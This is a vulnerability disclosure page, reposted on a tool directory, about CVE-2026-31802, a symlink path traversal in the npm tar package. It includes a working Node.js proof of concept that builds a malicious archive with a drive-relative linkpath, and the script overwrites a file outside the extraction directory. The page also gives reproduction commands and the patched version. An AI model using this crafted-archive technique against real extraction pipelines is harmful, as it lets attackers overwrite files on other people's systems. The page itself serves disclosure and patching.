Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31802 — Proof of concept and technical write-up for CVE-2026-31802, a symlink path traversal in npm tar allowing arbitrary file overwrite outside extraction directory. | Kitploit
Tools/GitHubGitHub/jvr2022/cve-2026-31802
Vulnerability AnalysisExploitationWeb SecuritySupply Chain Security
GitHubjvr2022/cve-2026-31802

CVE-2026-31802

Proof of concept and technical write-up for CVE-2026-31802, a symlink path traversal in npm tar allowing arbitrary file overwrite outside extraction directory.

View Repository
1156 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31802: tar Symlink Path Traversal / Arbitrary File Overwrite

Research: Joshua van Rijswijk

Description

This repository contains my proof of concept and write-up for CVE-2026-31802, a high-severity vulnerability in the npm tar package (node-tar) affecting versions <= 7.5.10.

I found that tar can be tricked into creating a symlink that points outside the intended extraction directory by using a drive-relative symlink target such as C:../../../target.txt. In practice, this makes it possible to escape cwd during extraction and turn archive extraction into an arbitrary file overwrite primitive.

The bug is reachable through normal extraction behavior with attacker-controlled tar archives.

Background

While looking at how tar handles symlink extraction, I noticed that certain linkpath values were treated inconsistently during sanitization and validation. In particular, drive-relative paths such as:

root@kitploit:~
C:../../../target.txt

ended up being rewritten before use, but not validated in the same form they were ultimately stored and applied.

That mismatch is what makes the bug exploitable.

Root Cause

The vulnerability comes from how tar processes crafted symlink linkpath values during extraction.

At a high level, the extraction logic strips the drive prefix from a path like:

root@kitploit:~
C:../../../target.txt

and rewrites it to:

root@kitploit:~
../../../target.txt

However, the traversal safety check is performed against the original pre-stripped value, while symlink creation later uses the rewritten value.

That means a malicious archive can pass validation using one form of the path, but still produce a symlink that traverses outside the extraction directory when written to disk.

Exploitation Flow

A malicious archive can contain a symlink entry like this:

root@kitploit:~
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt

When extracted with normal usage such as:

root@kitploit:~
tar.x({ cwd, file })

the following happens:

  1. The drive prefix is stripped from linkpath.
  2. The escape check still evaluates the original value.
  3. The entry is accepted.
  4. The extracted symlink is created with the rewritten traversal path.
  5. A later write through that symlink reaches a file outside cwd.

In other words, the extraction logic validates one value and uses another. That gap creates the traversal primitive.

Proof of Concept

I wrote the following PoC to demonstrate that an extracted symlink can be made to point outside the extraction root and then used to overwrite a file outside the working directory.

The PoC:

  • creates ../target.txt
  • builds a malicious tar archive with a symlink entry at a/b/l
  • sets linkpath to C:../../../target.txt
  • extracts the archive into the current directory
  • writes through a/b/l
  • confirms that the outside file was overwritten

PoC script:

root@kitploit:~
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)

fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Reproduction

Install a vulnerable version

root@kitploit:~
npm install [email protected]

Run the PoC

root@kitploit:~
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output

root@kitploit:~
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt

PWNED confirms that the file outside the extraction directory was overwritten.

The readlink output and file listing show that the extracted symlink points outside the intended extraction root.

Impact

This issue gives an attacker an arbitrary file overwrite primitive outside the intended extraction directory, with the permissions of the process performing extraction.

Realistic scenarios include:

  • CLI tools extracting untrusted tarballs into a working directory
  • build and update pipelines consuming third-party archives
  • services that import user-supplied tar files
  • developer tooling that automatically unpacks bundles or artifacts

In those environments, a crafted archive can cause writes to land outside the directory the application expects to control.

Affected Versions

  • Affected: tar <= 7.5.10
  • Patched: tar 7.5.11

Fix

This issue was patched in 7.5.11.

Users should upgrade immediately:

root@kitploit:~
npm install tar@^7.5.11

References

  • GitHub Advisory: GHSA-9ppj-qmqm-q256
  • CVE: CVE-2026-31802
Download Tool